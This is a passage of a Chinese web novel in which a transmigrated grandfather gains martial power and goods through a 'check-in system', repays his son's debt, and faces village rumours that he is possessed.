他没有任何犹豫,继续取出剩下的**经验包,一一捏碎吸收。
半个时辰后。
当他将所有的**经验包全部吸收结束,足足六十年的八段锦修行经验及相应功力,尽归于身。
江河站在原地一动不动,丹田处有暖流涌动,且生生不息。
胸肺处缓慢起伏,一呼一吸之间似乎都带着某种独特的韵律。
更神奇的是,当他闭上双眼,观想内视之时,竟可以“看”到体内有一条条暖流在缓缓运转。
按照八段锦**总纲的描述,这正是八段锦练至大成后所产生的独特“气感”。
换句话说就是,已经拥有六十年八段锦修行经验及功力的江河。
已然将八段锦这套**彻底的融会贯通,修行到了大成之境!
当他再度睁开双眼,用力紧握起自己的双拳时,周身的各个关节处,几乎同时传出了噼里啪啦的清脆嗡鸣之声。
筋骨齐鸣,百脉畅通!
这一刻,江河感觉自己强得可怕,一拳能打死十头牛!
第56章 二儿媳孙芳
严格说起来,八段锦并不是什么正经的杀伐**。
因为在它全套的**招式之中,都没有一招是用来对敌、杀敌的,基本上都是在健身、养气,调理自己的身体。
可即便是如此,这样的养生**坚持不懈的修行六十年,所能达到的效果也是极为强大甚至可怕的。
就像是此刻的江河,他感觉自己现在强大到可怕,并不是他的错觉。
而是他一身的筋骨肌肉全都修炼到了浑圆如一、百脉畅通的境界。
身体机能直接年轻了十几岁不说,自身的气力也比他吸收【八段锦**经验包】之前,翻了至少三倍!
现在他挥出一拳的力道,少说也得有六百斤往上!
这么大的力气与拳劲,纵使不用任何技法或招式,打在谁身上谁不得骨断筋折?
哪怕江河以前不曾修**过武术,他也知道武术界一直都有“身强力不亏,一力破万法”的说法。
只要你的身体足够强壮,力气大到一定的程度,所谓的武学招式在你的跟前就全都是摆设。
遇到敌人,不管是用棍棒兵器随意乱挥,还是毫无章法的一顿王八拳,只要能打到敌人的身上,就没有人能承受得住。
江河不知道这个世界上有没有所谓的武道高手,但是至少在下河村这一亩三分地上,他现在的力气绝对算是首屈一指,无人能及。
除力气暴增之外,他现在的视力也变得更锐利,听力也变得更灵敏了。
一只飞行在十米之外的小蚊子,他都能通过声音,精准的锁定它的飞行轨迹,并能看清它身上尖锐的口器及纤细的腿脚。
同时,他身上的肌肤也变得更加细腻柔韧,触之如筋膜震颤,坚韧至极。
他抬手摸了一下后脑被磕到的伤处,发现之前还没有完全结痂且肿得厉害的伤口,此时也彻底愈合康复,只余下一道浅浅的疤痕。
不过,为了防止引起别人的猜疑,他并没有直接将包扎在外面的布条取下。
甚至他还告诫自己,身上突然拥有的这一身怪力,最好也别轻易暴露出去。
否则若是被别人知道了,就会更加怀疑他是被邪祟附体了。
思虑至此,江河不由深吸了口气,将自己外溢的精气神瞬间收敛于内,整人又恢复了之前慵懒、惫赖的状态。
环顾四方,确定没有人注意他这里后,便抬步快速离开了这条偏僻的小巷子。
之后,江河又马不停蹄的陆续走访了附近的几家店铺。
耳边不断有相应的提示声音响起:
“叮,签到地点刷新成功,签到地——三河县,张记肉铺!”
“叮,宿主激活全新签到地点,触发新手福利暴击,此次签到宿主将获得十倍签到奖励!”
“叮!恭喜宿主签到成功,获得铜钱50文*10,【精品三层五花肉】10斤*10,【精品猪肋排】10根*10,【精钢斩骨刀】一把*10!”
……
“叮!恭喜宿主签到成功,获得铜钱50文*8,【新鲜柴鸡蛋】20枚*8,【白菜】100斤*8,【白萝卜】100斤*8!”
……
当他把身前这一整条街上的生活类店铺全都逛了一遍后,日头已经开始向西偏斜。
此时,他的物品栏内各种生活物资已然是应有尽有,不敢说是堆积如山,却也称得上是十分可观了。
至少比之他过来县城之前,物品栏内仅有的那可怜的几百文钱,几十斤肉和几十枚鸡蛋等寥寥无几的钱财及物资,丰厚了不知多少倍。
走出街区,江河抬头分辨方向。
这时他才恍然发现,自己竟在不知不觉间走到了老二江天家的附近。
既然已经到了家门口,江河便决定过去看看。
这个时间,江天应该还在望福楼上工,家里只有二儿媳孙芳和两个孙子孙女在家。
江天家,确切的说是他们租住的房子,位于县城南边的一处偏僻街区。
与前面繁华喧闹的街道不同,这里的巷道狭窄,房屋破旧,是这三河县城内仅有的城中村。
因为租金不高,且又座落在县城城区之内,是大部分在县城内有工作,却又买不起房子的底层居民,常住的生活区域。
江天租住的宅院,位于城中村最后面一条窄巷的深处。
巷道内的地面上铺着的青石板,大多已经碎裂不堪,缝隙里长满了青苔与杂草。
江河沿着这条破旧的巷道,循着记忆一路来到了江天的家门前。
这是一座占地只有六十几个平方的独门小院。
里面只有一间主屋,一间耳房,还有一间灶房,以及巴掌大的一处空荡小院。
在敲门之前,江河先环顾四周,确定无人窥探之后,悄然从物品栏内取出了五斤猪肉,五斤肋排,还有两瓶香油,十块秘制枣泥羔以及一篮子新鲜柴鸡蛋。
他知道因为要偿还贷款的关系,江天这一家子近两年在县城内的日子过得并不太好,便想着拿些肉、蛋
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来给孩子们补补身子。
所谓礼多人不怪,他这也算是替原身那个狗东西过来给儿子、儿媳妇赔礼赎罪了。
隔着院门的缝隙,江河清楚的看到二儿媳孙芳,此刻正坐在院中的一个小木凳上缝补衣物,身旁放着的针线篮已经旧得看不出原本的颜色。
五岁的孙子江飞和四岁的孙女江玲蹲在地上玩着石子。
两个孩子都穿着打了补丁的旧衣裳,小脸也瘦得让人看着心疼。
按理来说,江天虽不是个厨子,可赖好也是在望福楼那样的大酒楼里工作的伙计。
平日里就算是随便从酒楼里带些剩菜剩饭回来,也不该把两个孩子给养成这个样子。
可现在,看到江飞与江玲这两个小家伙明显偏瘦的身形,江河不难猜出,江天在望福楼内的日子恐怕也不是那么好过。
当然,最主要原因还在他这个不靠谱的渣爹身上。
若不是两年前,原身借用江天的身份,逼迫江天从汇丰钱庄借了一贯钱的**。
江天纵使不从酒楼里拿剩菜剩饭回来,他的工钱也足够养活他这个小家了。
所以绕来绕去,这个锅最后还是扣到了他自己的身上。
真是……原身误我啊!
江河习惯性的在心里非议了原身两句,然后抬起手来,开始敲门。
**!
沉闷的敲门声悠然响起。
“谁啊?!”
孙芳在院子里听到有人拍门,不由停下手中的活计,高声向外询问了一句。
江河应道:“我!你爹!”
啊?!
听到这个既熟悉又有些陌生的声音,孙芳蓦然一惊,手中的针线直接就掉落到了地上。
公爹?!
竟是她那个快两年都没有见过面的公爹!
他怎么寻到了这里?
他想要做什么?!
孙芳慌乱的站起身,目光有些惊恐的抬头望向门外,下意识地把正在身前玩耍的两个孩子拉拽到自己身后,脸上写满了戒备与恐慌。
江天现在不在家,家里就只有她和两个孩子,若是公爹又像以前那样对她和两个孩子又打又骂,她……她该怎么办?
这么想着,孙芳护着两个孩子的身体,竟不自觉的颤抖了起来。
江河站在门外,瞧见孙芳这般惊慌失措的表现,不由心中一叹。
特么,原身这狗东西以前到底造了多少孽啊!
竟能让自己的二儿媳妇,光是听到他的声音,就直接怕成了这个鸟样子?!
第57章 无事献殷勤,非奸即盗
“娘,外面是谁呀?”
“是爷爷来了吗?”
被孙芳护在身后的两个小家伙有些好奇的开口询问,同时两双大眼睛也偷偷的向门口处观瞧。
他们的姥爷早在一年前就已经过世了。
现在能够自称是他们娘的爹的人,除了住在老家的爷爷之外,也不会再有旁人了。
只是爷爷怎么突然就过来了,他头上的伤已经完全好了吗?
好想看看爷爷到底长什么样子啊!
外面别的小朋友的爷爷最疼他们的孙子孙女了,每天都会给他们买好多好吃的好喝的,过年的时候还会给他们买新衣服穿呢。
他们两个也一直都想要有一个那样的爷爷。
这两个小家伙,跟在老家长大的江娴、江涛、江夏、江琴几人不同。
他们两个自小在县城长大,从来都没有经受过江河这个渣爷爷的叫骂与毒打。
不知他们这个爷爷到底有多渣多可怕,心里甚至还存在着一丝对爷爷这个身份的期盼与向往。
现在听到爷爷在外面叫门,他们心中的期待与好奇,远远大过对未知的恐惧与不安。
要知道,三年前江天带着他们一家四口到县城讨生活的时候,江飞与江玲,一个两岁,一个才一岁。
压根儿就不记得他们爷爷长什么样子,是什么秉性。
而且,平时在家里,不管是江天还是孙芳,都对江河这个渣爹讳莫如深,绝口不提。
这便使得江飞、江玲这两个小的,对他们爷爷的印象微弱得几乎没有。
哪怕是前几日,他们突然**天带着回下河村老家奔丧,也只是远远的看了一眼躺在床上,面色惨白的爷爷。
当时他们一直被爹护在身后,害怕的不敢多瞧一眼,自然也就没有记住江河的长相。
就算是后来江河突然醒来,他们也在第一时间就被爹拉着远远的躲开了,甚至直接就出了屋门。
所以,他们对这个住在乡下、**又活过来了的爷爷,极为好奇。
孙芳看到两个孩子满是好奇与期待的眼神,心里五味杂陈,一时间竟不知该如何跟两个孩子解释。
她那个公爹是什么秉性,她可是太清楚了。
当年在老家时,公爹连自己的儿子女儿都不当人看待,动辄就会拳打脚踢,肆意辱骂。
她们几个儿媳亦是如此,在孙芳嫁进江家并住进江家的那三年间,受到的毒打与辱骂,比她过去在娘家的十几年都要多得多。
如果不是后来他们搬到了城里,从此远离了下河村,孙芳都怕自己有一天会直接被公爹给活活打死。
而现在,那个让她感到恐惧的“恶魔”又来了,就站在他们家的大门之外。
孙芳不敢去开门,她怕公爹进来了,又跟以前一样对她肆意打骂,对两个孩子也……
**!
**!
“孙芳,磨叽什么呢,快点给老子开门,老子知道你在里面!”
正当孙芳胡思乱想之际,门外的敲门声再次响起,同时耳边也传来了公爹那熟悉的恶魔嗓音:
“你要是再不开门,老子可就直接硬闯了,若是把你家大门给撞坏了,你可莫怪老子!”
江河见二儿媳一直犹豫着不给他开门,便知道这家人的**病又犯了。
就跟家里的**、赵穗与罗灵他们一样,他这个渣爹要是不发发脾气,不飚一下,他们根本就不会乖乖听话。
果然。
他这么恶言恶语的一吼,院子里的孙芳立马就有了反应,条件反射般的小跑过来,给他打开了房门。
“爹……爹,你咋来了?”
“我……我刚刚在家里带孩子,没……没听到敲门声,你可千万别见怪……”
开了房门,看到挺身站在院门前的江河,孙芳紧张的低着脑袋,磕磕巴巴的开口向江河解释着。
不过她的话还没有说完,就**河直接塞到她怀里的一大堆东西给打断了。
一大块红白相间的五花肉,五六斤切好的新鲜猪肋排,还有两瓶香油,十余块枣泥糕以及一篮子的新鲜鸡蛋。
这……这……
这是什么意思?
公爹竟然给他们送东西来了?
而且还一下子送来了这么多?!
可是……这怎么可能呢?
这么多年以来,都是公爹从他们这里要东西、抢东西,他们可从来都没有从公爹的手中得到过半点儿好处。
哪怕是在两年前,公爹逼着江天去汇丰钱庄借贷的时候,都不曾给过他们一点儿好脸色,更别说是往他们家送东西了。
可是现在……这是什么意思?
看到江河一下子带来了这么多的好东西,孙芳的眼中非但没有半点儿欢喜,反而一阵的心惊肉跳,忐忑不安。
她的脑子里面不自觉的就蹦出了一句话:“无事献殷勤,非奸即盗。”
公爹现在突然一反常态的对他们这么好,必然是所图更大,不知道背地里憋着什么坏主意呢!
“唉哟,这就是我那两个乖孙子和乖孙女吧?”
江河没有理会孙芳的心理活动,把东西全都塞给她之后,便越过她,一脸笑眯眯的径直走进院子。
看到两
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个正在好奇打量着他的小不点,心念一动,直接从物品栏里掏出了两根棒棒糖。
“来来来,叫声爷爷,爷爷给你们糖果吃!”
他在这两个孩子的眼中,并没有看到如江娴、江涛、江夏、江琴那四个孙辈看向他时,眼神里不自觉浮现出的畏惧与害怕。
有的只是对他这个爷爷的好奇、探究及一丝丝的憧憬与期待神色。
这让江河不由心情大好,穿越过来这么多天,终于让他遇到两个表现最为正常的孙子、孙女了。
所以,无论如何,他也要跟这两个小家伙打好关系,在他们的心中维系好一个慈善爷爷的美好形象。
而他签到得来的棒棒糖,无疑就是快速拉近他与这两个孙子、孙女之间关系的神兵利器。
“爷……爷爷!”
“爷爷!”
江飞与江铃瞬间就**河拿出来的棒棒糖所吸引。
全都没有抵挡住这般糖衣炮弹的诱惑,很快就乖乖的开口,管江河叫起了爷爷。
清脆的童声,纯真悦耳,听得江河不由一阵心花怒放。
“真乖!”
江河开怀的哈哈大笑起来,抬手分别在两个小家伙的脑袋上亲昵的拍了一下之后,便将手中的棒棒糖分给了他们。
然后他又一左一右,竟直接把两个小家伙抱了起来,并在原地不断打转,玩起了大风车。
两个孩子经过最初的惊慌之后,很快就变得欢快、兴奋起来。
一边舔着手中他们从来没有吃过的棒棒糖,一边搂着爷爷的脖子,咯咯咯的大笑着。
孙芳听到院子里的笑声,这才从刚刚的震惊之中反应过来。
回转过身,看到江河正抱着两个孩子在院子里打转,逗得江飞与江铃一个劲儿的欢笑着。
这两个孩子,非但没有排斥、害怕这个突然出现的“陌生”爷爷,甚至还十分喜欢。
而江河,她的公爹,此刻脸上竟然也挂着一副慈祥和善的笑意,看向两个孙子、孙女的目光,显得无比的亲近自然。
这……
恍惚间,孙芳竟有一种自己是在梦中的不真实感。
眼前这个抱着她的儿子与女儿不断打转的家伙,真是她那个以前动辄就对家里人打骂逼压,不给家人半点儿好脸的公爹吗?
他以前不是最讨厌小孩子吵闹,尤其是不待见女娃子的吗?
怎么现在,他却对江飞还有江铃,如此的温和亲昵?
不但舍得给他们买糖吃,甚至还没有半点儿嫌弃的将他们抱在怀里逗弄?
她公爹……该不会是中邪了吧?
第58章 爷爷很可怕吗?
看到江河这般反常的举动,还有那前所未有的慈祥笑脸,孙芳心里就更加的忐忑不安甚至恐惧害怕了。
这感觉,竟然比看到江河突然暴发脾气,破口大骂或是狠揍了他们母子、母女一顿,还要更让孙芳感到担心害怕。
她嫁到江家这么多年,可从来都没有看到过自己的公爹对自家人笑得这么慈祥、和善过。
现在突然看到江河这般一反常态的对待她的两个孩子。
孙芳的第一反应不是公爹这个当爷爷的,终于知道疼爱自己的孙子、孙女了。
而是在想,黄鼠狼给鸡拜年,它能安什么好心?
公爹该不会是又缺钱花了,这次寻上门来,该不是想要卖了江飞、江铃去换钱花吧?
这个念头一经冒出,就仿佛是在孙芳的心中长了草一样,再也遏制不住。
她越想越觉得有这个可能。
因为这种卖儿卖女、卖孙子卖孙女的缺德事,她这个混账公爹,真的能够做得出来!
两年前江天不就是这样被他给卖了吗?
还有老家里的江沫儿与江娴那俩丫头,听说也被卖去给人家当童养媳了。
说不得,公爹今天带来的这些东西,就是他卖了江沫儿与江娴那俩丫头之后得来的钱买的。
这么想着,孙芳心里就更担心更害怕了。
她快步回到院子,将怀里的东西胡乱的往她放针线的四方桌上一放,便小跑着冲过来把俩孩子从江河的怀里给抢了过来。
“爹……爹!俩孩子还小,不懂事,可……可别累着爹了!”
孙芳将两个孩子紧紧的抱在怀里,浑身颤抖着向江河说道:
“爹,你先进屋坐会儿,我……给你倒杯热水,然后就去把江天给叫回来。”
江河见老二媳妇儿这般防着自己,好似深怕自己把她的两个孩子给抢走了似的,不由轻叹摇头,道:
“不必这么麻烦了,老二那边我晌午的时候已经去见过了,这次过来主要是看看你和两个孩子。”
“没别的意思,就是觉得以前亏欠了你们两口子和这俩孩子不少,想要做些事情弥补一些……”
听江河这般说,孙芳不由心神一紧,抱着两个孩子不由自主的又往后缩退了两步,越发的觉得公爹是没安好心。
呃?
看到听到自己所说的这些话后,反而变得更加紧张害怕与畏缩的孙芳,江河的嘴角不由一阵抽抽儿。
特么,现在说真心话都没有人信了是吧?
这家人是不是都有病啊!
非得逼着他恶言相向,甚至破口大骂或是暴揍他们一顿,他们心里才会觉得舒坦觉得安心是吧?
江河心中倍感无力,软和话再也说不下去了,老脸一冷,哼声道:
“罢了,老子跟你就多余说这些!”
说着,江河从怀里掏出钱庄的还款凭证,“啪”地一声甩到了孙芳的身上,没好气道:
“这是江天之前在汇丰钱庄签写的借据,老子已经替他还清了!”
“以后老子可不再欠你们什么了,别再一天到晚的在背后说老子不把你们当人,专门喝你们这些小辈的血过活!”
孙芳直接愣住了,连忙把两个孩子放下,伸手去捡那张已经飘落在地的还款凭证。
当她看到借据上江天当年亲笔签下的名字及按的手印,还有汇丰钱庄特有的深紫印章时,都有些不敢相信自己的眼睛。
公爹竟然真的把这张借据给赎回来了!
这么说,他们在汇丰钱庄的欠款全都还清了,以后他们再也不用被那些帮闲、混混儿们上门催债,往他们家门上泼鲜猪血了?
可是……可是,这是为什么啊?
公爹怎么会突然间有了这么大的转变,竟然会舍得替他们把汇丰钱庄的贷款给还了,这是太阳从西边出来了吗?
要知道,这份贷款当年可就是公爹一手促成的啊,天知道为了偿还这些突然多出来的欠款,他们一家这两年都过的是什么日子!
看着手中这份压在他们身上两年多,沉重得犹如大山一般的贷款借据,孙芳的眼圈不禁有些泛红。
虽然她不知道公爹为何前后会有如此大的转变,也不知公爹葫芦里到底卖的什么药。
但是,只要能拿回这份借据,以后再不用背着欠款过活,再也不用面对那些凶神恶煞般的催债之人,他们家总算是能够缓过一口气了。
江河没有理会孙芳的情绪变化,又从怀里掏出一把铜钱扔在地上,冷声道:
“这些钱,是我留给孩子们买衣裳的,你要是觉得脏,可以把它们全都扔到大街上去!”
“真是的,看见你们这些窝囊菜就觉得心烦,老子走了!”
说完,他转身就走。
走到门口时,江河又突然停下脚步,头也没回的
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留下一句话:
“三天后,你和江天带着俩孩子回家一趟,老子有事要吩咐!”
“记好回家的时间,若是到时候你们没有回来,放了老子鸽子,可别怪老子发飙,对你们不客气!”
说完,江河这才抬步走出院门,片刻就远去不见了踪影。
看着江河怒气冲冲离去的背影,孙芳这才长松了口气。
不得不说,这样的不给她好脸,对恶言相向的公公,才是她所熟悉的公爹。
才不会让她像刚才那样,看到公爹那“慈祥的微笑”就觉得寒毛直立,疑神疑鬼,浑身都不得劲儿。
她小心翼翼地拿起借据再次仔细查看。
当确认这张借据并没有半点儿问题,压在他们身上的债务真的已还清时,眼泪终于忍不住掉了下来。
再看看公爹临走前扔在地上的那串铜钱,少说也有两百文。
这么多钱,别说是给孩子们做两身新衣裳了,就算是给他们做十身八身也都足够了。
那可是两百文钱啊,都相当于江天在望福楼小半年的工钱了,对于他们家现在的经济状况来说,绝对是一笔不小的进项了。
也是直到这时,孙芳才后知后觉的反应过来。
公爹是从哪得来的这么多钱?
他们在汇丰钱庄的欠款可是还剩下一贯六百多文钱没有还清。
若是再加上眼前的这两百文,还有公爹刚刚带来的那些东西。
这就差不多有近两贯钱了啊!
这么多钱,就凭老家里种地的那点儿收入,怎么可能拿得出来?
“娘,爷爷刚刚是不是生气了?”孙芳的身后,江玲扯着娘亲的衣角,怯生生的小声问道。
江飞也眨着大眼睛看着娘亲,小脸上满是疑问的向孙芳说道:
“娘,我感觉爷爷挺好的呀,你看他给我们送了这么多东西,还给我们留下了这么多钱。还有,他给我们的糖也可甜了,我喜欢这样的爷爷。”
“只是,娘,我怎么感觉你好像很怕爷爷似的?爷爷很可怕吗?”
孙芳一怔,继而微微摇头,一时间不知该怎么跟两个孩子解释。
难道让她告诉这俩孩子,他们的爷爷以前有多渣多坏,有多不把他们这些家人当人看,还把他们的爹娘给坑得有多苦多凄惨?
这么在背后乱嚼舌根,尤其是这般非议长辈的话,她实在是说不出口。
第59章 谣言加剧,江河吃小孩
从老二江天家离开,江河看了一下天色,西边的太阳已经快要挨到了天边,再过不久就要天黑了。
他没有再继续在县城内耽搁,直接出城往回赶。
这时,因为天色渐晚的关系,路上已然没了来往的行人,沿途的田地中,耕种的庄户也都回了家。
江河见状,不由心神微动。
他不再刻意隐藏自身的气息波动,足下发力,沿着河道快速奔走,只是片刻间就快成了一道风。
十余里的路程,他来时走了差不多半个时辰才赶到县城,可回来时,却连半刻钟都没用就赶到了村口。
更重要的是,他还脸不红,气不喘,头上甚至连半粒汗珠都没有冒出。
江河在距离村口不远的位置缓缓停下脚步,感受着体内充沛的精力,不由暗暗惊叹八段锦的神奇。
这还只是养生**,以后若是签到得来了真正的武功秘籍,不知会有何等威力。
只可惜,三河县城里面似乎并无武馆之类传授武道的场所或是门店,他就算是想要签到相关的武功秘籍,暂时也没有任何办法。
站在村口,江河抬手稍整理了一下衣衫,然后再次收敛精气神及外溢的强悍气息,又变成了之前的二赖子形象。
同时,他又从物品栏里取出了几斤五花肉,几斤排骨,两坛桂花酿,及十几块枣泥糕。
将这些东西全都装在一个大竹篮里,单手拎起,装作是刚从县城赶集回来的样子。
做完这些之后,确定自己身上再无异常,他这才缓步走进村子。
此时正是晚饭时分,家家户户炊烟袅袅,空气中飘着饭菜的香味。
几个在村口玩耍的孩子看到他,全都像是躲避瘟神一样远远躲开,还不时的在他背后指指点点。
“你们看,江源他爹回来了!”
“哇,他买了好多东西,我看到了,篮子里面好像还有肉!”
“快快快,我们快躲远点儿,我听我娘说,江源他爹被邪祟给附身了,现在的他已经不是他了,说不定还会偷偷吃小孩儿呢!”
“对对对,我奶奶也这么说过,说江河这个二赖子混账事做多了,现在终于遭了报应,被恶鬼给盯上了!
他篮子里的肉,说不定就是他吃剩下的小孩子的胳膊腿!”
“呜呜呜,好可怕,我们快跑,我才不要被恶鬼给吃掉!”
“……”
小孩子边说边跑,有两个胆小的家伙甚至都被吓哭了。
江河现在的耳力极为灵敏,哪怕隔着几十米,那些小孩子的声音也不大,可他还是听了个一清二楚。
很显然,王三妮与赵神婆她们,又在村子里散播他被邪祟附体的传言了。
现在就连村里的小孩子都开始害怕他,对他指指点点,甚至只看了他一眼就特么被华丽的吓哭了。
不难想象,这些小孩子背后的大人们,肯定对他也更为忌惮甚至惧怕。
看样子,距离他们对自己正式发难的时间,应当是已经不远了。
江河心中冷笑,面上却不动声色。
他拎着手里的东西,继续若无其事地往家走。
路过王老四家门口时,正巧遇见王老四媳妇刘桂花在收白天晾晒的衣物。
见到江河回来,她明显愣了一下,随即挤出一个不太自然的笑容跟江河打起了招呼:
“江河兄弟,从县城赶集回来了?”
“嗯,回来了!”
江河轻笑着应了一声,然后从篮子取出了一块枣泥糕递向刘桂花,道:
“这是我从县里带回的零嘴,拿一块去给小豆子尝尝看!”
看着江河递来的枣泥糕,刘桂花瞬时就愣住了。
这枣泥糕她认得,是县城里望福楼内的招牌糕点,卖得死贵死贵的。
仅是眼前的这么一小块,至少都得五文钱才能买得到。
刘桂花显是没有想到,江河竟然会舍得买这么贵的枣泥糕来吃,更没想到,他还会随手送了一块出来。
上午江河出门时,能够大方的送给他们家小豆子一颗精品糖果,刘桂花就已经觉得极为意外与不可思议了。
那块糖她也尝了,甜得那叫一个纯正、滋腻,肯定便宜不到哪里去。
现在,看到江河竟然又拿出了一块价值五文钱的枣泥糕,就更让她感到有些诡异与难以置信了。
不由得,她便想到了这两天在村子里传得神乎其神的邪祟传言。
难道说……这个江河竟然真的是被邪祟给附身了?
否则的话,别说是以前的江河了,就算是换作村里其他任何一个正常人,怕是都不会舍得把这么珍贵的糕点拿来送人吧?
“这……这怎么好意思,你们家孩子多,还是拿回去给自家孩子吃吧……”
刘桂花迟疑着,一副想接又不敢接的纠结样子。
“拿着吧,一块零嘴儿而已,不值什么钱。”
江河不由分说,直接就把那块枣泥糕塞到了她手里,随声道:
“以前是我不太懂事,做了不少荒唐事,若是有得罪四嫂子的地方,还请四嫂子莫要见怪。”
“以后咱们邻里之间,还是要多走动、多来往才是。”
说完,他没有再给刘桂花开口拒绝的机会,转身就往家走。
刘桂花捧着江河“强塞”到她手中的这块软糯诱人的枣泥糕,看着江河离去的背影,忍不住喃喃自语道:
“这个江河现在也变得太懂事儿了,跟以前的混账性子相比,简直就是一个在天一个在地。”
“这……要不是被邪祟给附了身,彻底转了秉性,谁能信
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?”
“不过……管他呢!送上门的好处,不要白不要,这五文钱一块的枣泥糕,我们平时可舍不得买……”
这么说着,刘桂花欢喜不已的捧着手里的枣泥糕回了屋,连挂在外面的衣服都不收了。
进了屋里,把手中的糕点小心的放到桌子上,刘桂花又接着自言自语道:
“其实,有这样一个既大方又懂事的邻居,感觉还是很不错的,就是不知这邪祟会不会害人,是不是真的会吃小孩子……”
“如果他能一直都这么大方、懂事下去的话,就算他真的是邪祟,也没有什么不能接受的……”
江河现在耳聪目明,自然也听到了刘桂花此刻的喃喃自语声。
若是他没记错的话,明明昨天傍晚的时候,王老四才跟这个女人说过关于贾郎中对他头上伤势的诊断。
说那是正常的病理现象,并非是什么邪祟附体。
可是现在,才刚刚过去了一个晚上加一个白天,这女人就开始理所当然的以为他是被邪祟给附了身。
看样子,贾不为贾郎中在村子里的影响力也是极为有限,他所给出的医理解释,并没有起到太大的作用。
似刘桂花这样没读过书,连大字都不识一个的无知村民,更喜欢也更习惯赵神婆那一套神神叨叨的解释。
对此,江河早有预料,并没有觉着太过奇怪。
他装作什么也没有听到,若无其事的走到自家院门前。
隔着老远,就听到院子里面传来孩子们的欢笑打闹声。
江河直接推门进去,看到江源、江沫儿兄妹俩,正带着几个小侄小侄女在院子里玩耍。
赵穗和罗灵在灶房忙着做饭。
**则拿着斧头在院角劈柴。
“爹,你回来了!”
江源第一个看到江河,唤了一声之后,便很有眼力架的过来接江河手里拎着的东西。
凑到近前,当他看到篮子里面竟然摆放了那么多的酒肉还有糕点时,两只眼睛瞪得老大。
此时,江沫儿、江娴几个孩子也停下玩耍,小跑过来,怯生生冲着江河地喊了声“爷爷”。
“诶~!”
看到几个孩子已然不再像之前那般惧怕他,躲着他。
江河不由拉长了声音高应了一声,然后笑着从篮子里取出枣泥糕分给几个孩子:
“这是我今天在县城里买的枣泥糕,你们都尝尝。”
正在劈柴的**,还有灶房里正忙活着的赵穗与罗灵,听到外面的动静,同时抬头、探身的朝着院门口处看去。
当看到他们的渣爹此刻正满脸笑容的给几个孩子分糕点,三人心中全都不自觉的轻松了口气。
还好,渣爹出去转悠了一整天,回来后并没有重新变回原来那般混账模样。
第60章 爹好像跟以前不太一样了
“桂花酒,枣泥糕?”
“爹,你今天去二哥那了?”
晚饭桌上,**看到老爹摆放在在桌面上的两坛桂花酒,还有几个孩子没吃完的枣泥糕,诧声向江河询问。
桂花酒与枣泥糕,在县城里只有望福楼才有的卖,而且全都死贵死贵的。
三年前,二哥还没有跟爹彻底闹掰的时候,曾经拿回来过一些,**的印象很深刻。
现在看到它们又出现在家里的餐桌上,他第一时间就想起了仍在望福楼内打杂的二哥。
江河打开酒坛上的泥封,给自己还有**各倒了一杯桂花酒,随声言道:
“嗯,路过望福楼的时候,就进去看了一眼,跟你二哥说了几句话。”
果然。
**的面色顿时为之一变,抬手指着桌面的酒和糕点道:
“那这桂花酒和枣泥糕,该不会是爹你逼着二哥给你的买的吧?”
说完,不等江河开口解释,**便涨红着脸,有些着急地切声向江河说道:
“爹,你咋能这样呢?!”
“二哥这两年因为贷款的事情已经过得很不容易了,你咋能再逼着他给你买这么贵的酒和枣泥糕呢?”
显然,老三这小子又想当然的误会他这个渣爹了。
不过话又说回来了,这小子现在的胆气见涨啊。
以前那个遇事只知道哭哭唧唧、鹌鹑一样的家伙,三棍子都打不出一个屁来,现在竟然敢当面指责、质疑他这个当爹的了。
**这样的转变,江河自然是乐见其成。
只是,爹就是爹,子就是子,不管什么时候,他在这个家里的权威绝不能丢。
啪!
江河猛的一拍桌子,怒视着**:“老三,你敢跟老子这样说话,想找抽了是吧?”
刷!
**条件反射似的一缩脖子,扑通一声就跪在了地上。
旁边的赵穗、罗灵,还有江源、江沫儿等几个孩子,也瞬时变得噤若寒蝉,身子都有些微微发抖。
顷刻间,他们又仿佛回到了之前那般被渣爹支配的恐惧日子,又变得有些惶恐不安起来。
反应过来的**,恨不得直接给自己两个大嘴巴。
若不是他方才脑子一抽,嘴巴犯贱,竟然当众质疑起了爹,也不会把爹刺激得又变成了以前的狂躁模样。
现在可好了,爹又开始骂人了,一会儿是不是还会直接动手**?
夭寿啊!
早知道他刚刚就不犯贱,不说那些话了!
**忍不住想要狂扇自己两个大嘴巴。
要是现在的老爹真的又变回了以前的那个渣爹,就算是大嫂、媳妇还有四弟、小妹他们不埋怨他,他自己也得后悔死。
江河看着跪在地上的儿子和吓得瑟瑟发抖的几个小辈,心里不禁又是好气又是好笑,同时还泛起了一丝莫名的酸楚与怜悯。
这家人,以前都特么过的是什么日子啊。
吃不饱穿不暖,瘦得跟竹竿一样也就罢了,还被一个只会作妖**的愚孝蠢货,给磋磨调教得连一点儿脾气都没有了。
他故意板着脸,冷哼一声,道:
“既然知道错了,那就先起来吧!以后若是再敢这样跟老子说话,看老子不打断你的腿!”
竟然没有挨打?
**闻言,眼前不由一亮,瞬间就确定眼前的老爹并没有变回以前的渣爹。
否则的话,就凭他刚刚的逾越指责,等待他的必然是一顿毒打与臭骂。
以前那个渣爹,可从来都不知道什么叫做从轻发落,一旦动起手来,那都是往死里揍,不打得他皮开肉绽,哭爹喊娘,绝对不会罢手。
旁边的赵穗与罗灵等人,自然也意识到了这一点,不自觉的全都在心中长松了口气。
渣爹(渣爷爷)没有变回去就好。
说起来,现在这个爹(爷爷)虽然也爱发脾气,动不动就吹胡子瞪眼的吓唬人。
但是每次基本上都是雷声大,雨点小,嘴上虽然骂得很凶,但却从来都没有真正动手打过他们。
貌似自打他从闭气假死之中醒过来后,已经有整整三天没有打过他们了,他们甚至都有些不习惯呢。
江河没有理会几人的心理活动,端起桌面上的桂花酒小饮了一口,没好气的开口向几人解释道:
“这桂花酒和枣泥糕,是老子自己花钱买的!”
“不光如此,老子还把你们二哥在汇丰钱庄欠的贷款也全给还清了!”
这话一出,所有人都愣住了。
**猛地抬头,不敢置信地看着江河:
“爹,您……您说的都是真的?您真的替二哥把当年的欠款全都给还了?”
“废话!老子至于拿这种事情来骗你们吗?”
“不信的话,你们明日大可以到县城去问问你们二哥,看看老子是不是在说谎!”
江河忍不住又瞪了**一眼,懒得再跟他多说第二句。
**见状,立马讪笑着挠了挠头,不敢再多嘴询问。
不过他心里却是真的已经打定主意,明天定要抽空去县里见二哥一面。
他要确定老爹有没有说谎,是不是真的已经替二哥把欠款给还了。
若这一切都是真的,那就说明,他们的这个爹,大抵不是什么邪祟或是鬼怪附体。
而是他真的因为磕到了脑袋,改变了性情,彻底的幡然醒悟过来。
现在他的所做所为,皆是在想方设法的弥补之前的过错,跟邪祟、鬼怪什么的不沾半点儿关系。
